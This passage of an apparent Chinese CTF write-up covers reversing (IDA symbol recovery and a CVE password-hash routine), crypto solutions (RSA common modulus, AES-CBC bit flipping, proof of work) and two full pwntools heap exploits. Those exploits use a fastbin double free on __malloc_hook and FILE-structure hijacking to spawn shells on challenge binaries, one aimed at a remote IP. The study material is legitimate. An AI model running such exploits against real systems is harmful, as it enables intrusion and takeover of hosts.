ida_bytes.create_strlit(name_ea, 0, ida_nalt.STRTYPE_C)
raw_name = ida_bytes.get_strlit_contents(name_ea, -1, ida_nalt.STRTYPE_C)

if raw_name:
# 2. 解码名称
try:
# 尝试 UTF-8 解码
func_name = raw_name.decode('utf-8', errors='ignore')
except UnicodeDecodeError:
# 失败后使用 Latin-1 (或其他适合的编码)
func_name = raw_name.decode('latin-1', errors='ignore')

# 清理名称以确保在 IDA 中有效 (例如,移除空格或非法字符)
func_name = func_name.strip()

# 3. 创建函数并设置名称
if func_ea not in (0, 0xFFFFFFFF, 0xFFFFFFFFFFFFFFFF) and func_name:

# 尝试在 func_ea 处创建指令(确保它是代码)
# 并在其上创建函数
ida_ua.create_insn(func_ea)

# 创建函数
if ida_funcs.add_func(func_ea):
# 成功创建函数后设置名称
ida_name.set_name(
func_ea,
func_name,
ida_name.SN_NOWARN | ida_name.SN_FORCE
)
count += 1
# print_console(f"✅ 成功命名并创建函数:0x{func_ea:X} -> {func_name}")
# else:
# print_console(f"⚠️ 无法在 0x{func_ea:X} 创建函数 (可能已存在或不是代码)")

except Exception as e:
print_console(f"❌ 处理地址 0x{current_ea:X} 时发生错误: {e}")

current_ea += interval
if (current_ea - start_ea) % (interval * 100) == 0:
# 每处理100个表项更新一次进度条
ida_idaapi.replace_wait_box(f"Processed {count} functions. Current address: 0x{current_ea:X}")


ida_idaapi.hide_wait_box()
print_console(f"--- 🎉 符号表处理完成。共成功处理并命名了 {count} 个函数。 ---")

return count

# --- 执行函数 ---
# 确保在 IDA Pro 中运行此脚本
if __name__ == '__main__':
# 检查 IDA 是否正在处理文件
if ida_idaapi.is_idaq():
process_symbol_table(symbol_table_start, symbol_table_end, symbol_interval)
else:
print("请在 IDA Pro 环境中运行此脚本。")

找到CVE对应漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void loginDefaultEncrypt(char *in, char *out)
{
int v4; // r29
int i; // r30
int v7; // r0
unsigned int v8; // r30
unsigned int n0x32; // r0
unsigned int n0x35; // r0
unsigned int n0x38; // r0
for (i = 0; i < strlen(in); v4 += v7 ^ i)
{
v7 = in[i] * (i + 2);
++i;
}
v8 = 0;
sprintf(out, "%u", 0x1E3A1D5 * v4);
while (v8 < strlen(out))
{
n0x32 = *out;

if (n0x32 <= '2')
*out = n0x32 + '!';
n0x35 = *out;
if (n0x35 <= '5')
*out = n0x35 + '/';
n0x38 = *out;
if (n0x38 <= '8')
*out = n0x38 + 'A';
++out;
++v8;
}
}

input为SimpleXue,输出:SQbcQSScQc

flag:flag{SQbcQSScQc}

Crypto

sol

AI一把梭了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from Crypto.Util.number import *
import hashlib
import sys
from math import isqrt

# 增加 Python 整数的递归深度限制以处理大数
sys.setrecursionlimit(3000)

# 已知数值
Y = 198522960435841482189432265177909868426431703074708363449219028697324701510160286719731988116839697036160581630187160949885168801231636762705713983033164840216512010109089390010468198557792366011939222563881564708155342114969230636341034212421633874868858789397938243061335664034978831542864101231007091988193863118052712382091154270467198016237288512835005671248249864343182623298497353279333896185090300689372993251851698985725825619040354352099701531339567909888327001736937441117830890673409609636796619930226667955511073115983145641056494143455805357766933615911269415380543240132925744315363193308341329870002528062545716167903459438493154302274735882612908825416096548207130441684370171413794313131775960498691561791175984389699661776179746486882233034632979256741127422204726199986374102650551713456275685579171314911783130052174900534533297618292233601037654694611306838303066884626125878765611689352475739052132349596965687310082111652949904102268706219733830038063864703811394198182986558883397487207721093367621647038297033723455527107418011037322197091733780060565430632034276705456268207898108856563488519654411483838153783153351440293627133844440601677480833571012370843618968387929873540183054860492446381685034534436
B = 174037789483961573123221843591212086149338262121485604600830887974881925500571571986993457692950300053374733237615433793104052491813933671943903946487842930332507742237430616633825365722075237337670353892075697891908329460336348924680104502864021820883975695834115061923434753902679746280494899854826747016131
C = 33472511251772997775575923606329341691183359500908766818057589728522254242596438955590397842265158831677351198820346034459567637818737702918129437591421137895764213815168420429024803177742927091662422333575499875132388315943460516679655107714170719351306979285358080183600281172752401859701765071852769889627868633217209348758684870450300228084878260106253395883903968044935866937201968348531962567937222914516096107266208665856669507873113157476771707
P = 3634071908867506965069315261429753443464716245738410040251875581513557838289276325218462157875991826224641777953866288921260305341272244121296068932207702190214606897491230548638292125061653257219859677992258434311277440482616823776560279337140379719082621412099620617217597998553091192312010588644683350990634085010622936842730027266359749795759745712453727285078472696717945991398633345949433118817923844577431455021644322229917758424788807006347476518982567210018019855197933776595555771047454297485885425728424948978147686731066201483794340469411549870237470492555193178687911573753715584786785924202386461

# --- 1. 估算 X (四次方根) ---

# 使用整数四次方根来估计 X
x_approx = isqrt(isqrt(Y)) # isqrt = integer square root

print(f"y的位数: {Y.bit_length()}")
print(f"x的预期位数: 1024 bits")
print(f"X的近似值位数: {x_approx.bit_length()}")
print("-" * 30)


# --- 2. 构造函数并寻找整数根 ---

# 目标函数 P(x) = x^4 + a*x^2 + b*x + c - y = 0
# 由于 a 存在,我们不能直接解出 P(x)=0 的根。
# 但是,我们可以利用 x 是一个整数(且是素数)的事实,
# 并且 x_approx 应该非常接近 x。


# 我们将 P(x) 简化为只包含 x 的部分,并求出剩余的 (a*x^2)
def find_a(x_val):
"""根据假设的 x 值计算出 a 的值。"""

# Target_Term = a * x^2
target_term = Y - (x_val**4 + B * x_val + C)

if x_val == 0:
return None, None

x_sq = x_val**2

# 检查 target_term 是否能被 x^2 整除 (a 必须是整数)
if target_term % x_sq != 0:
return None, None

a_val = target_term // x_sq
return a_val, target_term


# 在近似值 x_approx 附近进行搜索,寻找满足以下两个条件的整数 x:
# 1. x 必须是素数 (getPrime(1024))
# 2. 计算出的 a 必须是一个整数 (y - x^4 - b*x - c) % x^2 == 0
# 3. 计算出的 a 必须是 512 bit 的素数 (getPrime(512))

# 搜索范围: 从 x_approx 开始,向上下微调
# 由于 x^4 是主导项,x_approx 应该非常接近 x
SEARCH_RANGE = 1000 # 搜索范围,1000 个整数应该足够

found_x = None
found_a = None

# 首先检查 x_approx 本身
# for i in range(-SEARCH_RANGE, SEARCH_RANGE):
for i in range(-10000, 10000): # 扩大搜索范围,以防初始估计有偏差
x_candidate = x_approx + i

if x_candidate <= 0:
continue

# 优化: 检查 x_candidate 是否为素数 (减少后续大数运算)
if not isPrime(x_candidate):
continue

# 尝试计算 a
a_candidate, target_term = find_a(x_candidate)

if a_candidate is not None:
# 找到整数 a,现在检查 a 的位数和素性

# 1. 检查 a 的位数是否大约 512 bits
if 2**511 <= a_candidate < 2**512:

# 2. 检查 a 是否为素数
# 这里的 isPrime 可能是瓶颈,但必须检查
if isPrime(a_candidate):
found_x = x_candidate
found_a = a_candidate
print("--- 找到解! ---")
print(f"找到的 X (1024-bit prime): {found_x.bit_length()} bits")
print(f"找到的 A (512-bit prime): {found_a.bit_length()} bits")
print(f"搜索次数 i = {i}")
break

# --- 3. 计算 Flag ---

if found_a is None:
print("未能找到满足所有条件的 A 值,请尝试扩大搜索范围或检查数据。")
else:
# Flag = b'flag{'+hashlib.md5((str(a)).encode()).hexdigest().encode()+b'}'
a_str = str(found_a)
md5_hash = hashlib.md5(a_str.encode()).hexdigest()

flag = f"flag{{{md5_hash}}}"

print("-" * 30)
print(f"A 值: {found_a}")
print(f"MD5 哈希: {md5_hash}")
print(f"最终 Flag: {flag}")

common rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *

N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548

a = pow(e1, -1, e2)
b = (a * e1 - 1) // e2
m = pow(c1, a, N) * pow(c2, -b, N) % N
flag = long_to_bytes(m)
print(flag)

# flag{A_RSA_c0mm0n_m0dulu5_4tt4ck}

aesstudy

PoW

1
2
3
4
5
6
7
8
9
10
11
12
13
def PoW():
io.recvuntil(b"hashlib.sha256(x).hexdigest()[0:8]=='")
hash = io.recvline().strip().decode()[:-1]
print(hash)
io.recvuntil(b"x.encode('hex')=")
for i in range(256):
for j in range(256):
for k in range(0x20):
x = chr(i) + chr(j) + chr(k)
if hashlib.sha256(x.encode()).hexdigest()[0:8] == hash:
print(tmp := hex(i)[2:].zfill(2) + hex(j)[2:].zfill(2) + hex(k)[2:].zfill(2))
io.sendline(tmp.encode())
return

字节翻转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64

def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))

output = """
# c1.encode('base64')=bgq/Ch4pfw/GVvIdv4g0GpGctUxy17V/+/5xOwoXvajpR/ZnTZ06SKJ4Ou3M0G9aal2qaY2j2ry6+PLCh1ssutMv/GGPK75Nhnnh1S2xB3TBphygCB3jGkIQYiewAZNAgvjuaSvf2r5X+6OVla0ic6+xxcm7oOfWka9cTFbEZDr8AbrYjZhzsgTnxtCR428327anGeM1A5cc1f1SWRBVFdngxMFm8kNlQA1093nAQLIM9cN+KQkUpBK378SsPfj2VN7C+knx7qfUw0HiKvsUZKdjAicOuQXJdTrRRpyxUkmopH8ursLna0JBjbnUh2yaAGfhGcN6uzbysixnG9eX8g==
# m1.encode('base64')=JCMCRlp9hRzEYutAiZfSHhqRGWJ3n5TG7HAdVS6XMUsAB4q0Uh5c90ezMalWONeU/5KT49g/vWrLcrXU8gS/ZYO0+UoLZZvJfzHbIZvFIGHgEhhvGlCNscf772OE0AiW5CtaTmxnBe0bLutx1k1ZllSjux+K/gyhck0DQ9TSMTVdzvio5YkYWF+cKWP+JgIOaZFEdz+kwq4E42m7AoUyO8wspg72AUbPe9Z8tTiHrChjjSD/+t1MSfLZqSPvvZkN3S644/aUsy8PL/o1qY0ASVZKi1o1DS3jf1MD6QTY1Xb4f+Y7m8xD27J+AtsVdquwJm1lj8xWm3EHXzYDz1mZHg==
# m2=aes_cbc_decode(password,iv,c2)
# m2[28]=T
# m2[53]=i
# m2[94]=c
# m2[124]=h
# m2[147]=x
# m2[180]=m
# m2[209]=l
# m2[254]=H
""".split("# m2=aes_cbc_decode(password,iv,c2)\n")

tmp = output[0].replace("\n", "").strip().replace("# c1.encode('base64')=", "").replace("# m1.encode('base64')=", "\n").split("\n")
c1, m1 = map(base64.b64decode, tmp)

tmp = output[1]
target = []
for line in tmp.strip().split("\n"):
if line:
line = line.strip()[5:].split("]=")
target.append((int(line[0]), line[1]))

c2 = bytearray(c1)

for i, c in target:
c2[i - 16] ^= m1[i] ^ ord(c)

print(base64.b64encode(c2).decode())

work

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hashlib
import base64
import struct
import requests

def reverse_hex(h):
return bytes.fromhex(h)[::-1].hex()

url = f"https://blockchain.info/rawblock/600001"
data = requests.get(url).json()

print(data["hash"])
tmp = len(data["hash"]) - len(data["hash"].lstrip("0"))

if tmp >= 20:

header = (
struct.pack("<I", data["ver"])
+ bytes.fromhex(reverse_hex(data["prev_block"]))
+ bytes.fromhex(reverse_hex(data["mrkl_root"]))
+ struct.pack("<I", data["time"])
+ struct.pack("<I", data["bits"])
+ struct.pack("<I", data["nonce"])
)

first_hash = hashlib.sha256(header).digest()
second_hash = hashlib.sha256(first_hash).digest()

print(len(second_hash.hex()) - len(second_hash.hex().rstrip("0")))
print(base64.b64encode(first_hash).decode())

Pwn

easyuaf

分析

image-20251129120549795

2.23 uaf 直接打fastbin double free

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
'''
author: mick0960
time: 2025-11-29 09:31:08
'''
from pwn import *
from ctypes import *
import inspect
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
ru = lambda con:p.recvuntil(con)

def lg(addr):
"""
打印变量名及其对应的地址
:param addr: 变量或地址
"""
frame = inspect.currentframe().f_back
variables = {id(val): name for name, val in frame.f_locals.items()}
addr_name = variables.get(id(addr), "Unknown")
log.success(f"{addr_name} --> {hex(addr) if isinstance(addr, int) else addr}")

def debug(pie=0, bp=None):
"""
用于调试程序的函数。
:param pie: 是否启用 PIE 模式 (Position Independent Executable)
:param bp: 断点,可以是字符串(单个断点)或列表(多个断点)
"""
debug_script = '''
\nset debug-file-directory /home/mick0960/.config/cpwn/pkgs/2.23-0ubuntu9/amd64/libc6-dbg_2.23-0ubuntu9_amd64/usr/lib/debug\n
set directories /home/mick0960/.config/cpwn/pkgs/2.23-0ubuntu9/amd64/glibc-source_2.23-0ubuntu9_all/usr/src/glibc/glibc-2.23\n
'''
if pie:
base = p.libs()[p.elf.path]
if bp:
if isinstance(bp, str):
bp = f"*{hex(base + int(bp, 16))}"
elif isinstance(bp, list):
bp = [f"*{hex(base + int(b, 16))}" for b in bp]
gdb.attach(p, gdbscript="".join(bp) + debug_script if bp else debug_script)
else:
if bp:
if isinstance(bp, str):
bp = f"b *{bp}"
elif isinstance(bp, list):
bp = [f"b *{b}" for b in bp]
gdb.attach(p, gdbscript="".join(bp) + debug_script if bp else debug_script)
pause()

def getsb(func,align=False):
if context.arch == 'i386':
libc_base = libc.address = addr32() - libc.sym[f'{func}']
lg(libc_base)
return \
p32(elf.search(asm('ret'),executable=True)) + \
p32(libc.system) + p32(0) + p32(libc.search(b'/bin/sh').__next__()) \
if align \
else \
p32(libc.system) + p32(0) + p32(libc.search(b'/bin/sh').__next__())
else:
libc_base = libc.address = addr64() - libc.sym[f'{func}']
lg(libc_base)
return \
p64(elf.search(asm('ret'),executable=True)) + \
p64(elf.search(asm('pop rdi;ret'),executable=True)) + \
p64(libc.search(b'/bin/sh').__next__()) + p64(libc.system) \
if align \
else \
p64(elf.search(asm('pop rdi;ret'),executable=True)) + \
p64(libc.search(b'/bin/sh').__next__()) + p64(libc.system)
#----------------function area end------------------#
#----------------predefine area start------------------#
elf_name = "./ezuaf"
# p = process(elf_name)
p = remote('47.107.139.41','46358')
context(arch='amd64',os='linux', log_level = 'debug')
elf = context.binary = ELF(elf_name)
libc_name = "/home/mick0960/.config/cpwn/pkgs/2.23-0ubuntu9/amd64/libc6_2.23-0ubuntu9_amd64/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_name) if libc_name else None
#----------------predefine area end------------------#
def cmd(ch):
sla('choice:', str(ch))

def add(idx, size, con):
cmd(1)
sla('index of the note', str(idx))
sla('length of the note', str(size))
sda('note', con)

def free(idx):
cmd(2)
sla('index', str(idx))

def show(idx):
cmd(3)
sla('index of the note', str(idx))

def edit(idx, con):
cmd(4)
sla('note:', str(idx))
sda('your note:', con)

add(0, 0x90, 'mick0960')
add(1, 0x20, 'mick0960')

free(0)

show(0)
ru('The content of the note:')
libc_base = libc.address = int.from_bytes(p.recvline(keepends=False), byteorder='little') - 0x3c4b78
lg(libc_base)
add(2, 0x90, 'mick0960')

add(3, 0x60, 'mick0960')
add(4, 0x60, 'mick0960')
free(3)
free(4)
free(3)

fake_chunk = libc.sym['__malloc_hook'] - 0x23
lg(fake_chunk)
add(3, 0x60, p64(fake_chunk))
add(4, 0x60, 'mick0960')
add(5, 0x60, 'mick0960')
add(6, 0x60, 'mick0960')
# add(5, 0x70, 'mick0960')
edit(6, b'a'*0x13 + p64(0x40088A))
# debug()
add(7, 0x10, 'aaaa')

# debug()

p.interactive()

o

堆题但是限制了 fastbin

标题: fig:

在 dele中存在 uaf

标题: fig:

限制死了fastbin但是仍然可以unsorted bin attack 去篡改全局 fastbin max 然后就可以正常使用fastbin了,这样就很后转换,可以先泄露栈地址,这里直接攻击io

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import sys, shlex, time
from LibcSearcher import *

context.update(arch='amd64', os='linux', log_level='debug')

bin_path = sys.argv[1]
prog = ELF(bin_path)
io = process([bin_path] + args)

def uqword(data):
return u64(data.ljust(8, b"\x00"))

def grab_u64_nl(sock):
line = sock.recvuntil(b"\n", drop=True)
return uqword(line)

def wait_menu():
io.recvuntil(b"choice")

def act(op):
wait_menu()
io.sendline(str(op).encode())

def add_chunk(sz, data=b"A"):
act(1)
io.sendlineafter(b"size", str(sz).encode())
io.sendafter(b"content", data)

def rm_chunk(idx):
act(2)
io.sendlineafter(b"idx", str(idx).encode())

def mod_chunk(idx, stuff):
act(3)
io.sendlineafter(b"idx", str(idx).encode())
io.sendafter(b"content", stuff)

def dump_chunk(idx):
act(4)
io.sendlineafter(b"idx", str(idx).encode())

add_chunk(0x400)
add_chunk(0x1f8)
add_chunk(0x1f8)

rm_chunk(0)
dump_chunk(0)
io.recvline()

arena_leak = grab_u64_nl(io)
libc_base = arena_leak - 0x3c4b78
log.success(f"[+] LIBC base = {hex(libc_base)}")

target_fd = libc_base + (0x3c67f8 - 0x10)
fake_meta = p64(0) + p64(target_fd)
mod_chunk(0, fake_meta)

add_chunk(0x400)

rm_chunk(1)
rm_chunk(2)
rm_chunk(1)

stdout_hook = libc_base + 0x3c55a7

add_chunk(0x1f8, p64(stdout_hook))
add_chunk(0x1f8)
add_chunk(0x1f8)
add_chunk(0x1f8)

system_off = 0x45390 + 0x10
system_addr = libc_base + system_off
stdout_addr = libc_base + 0x3c5620
fake_jump = libc_base + 0x203260

fake_io = flat({
0x00: b"sh\x00",
0x18: p64(1),
0x20: p64(2),
0xc0: p64(1),
0xa0: p64(stdout_addr),
0xd8: p64(libc_base + 0x3c3260 + 0x30),
0xe0: p64(stdout_addr + 0xe8 - 0x18),
0xe8: p64(system_addr),
0x130: p64(stdout_addr + 0x138 - 0x18),
0x138: p64(system_addr),
}, filler=b"\x00")

prefix = b"B" * 0x69
mod_chunk(7, prefix + fake_io)

time.sleep(1)
io.sendline(b"ls")
io.interactive()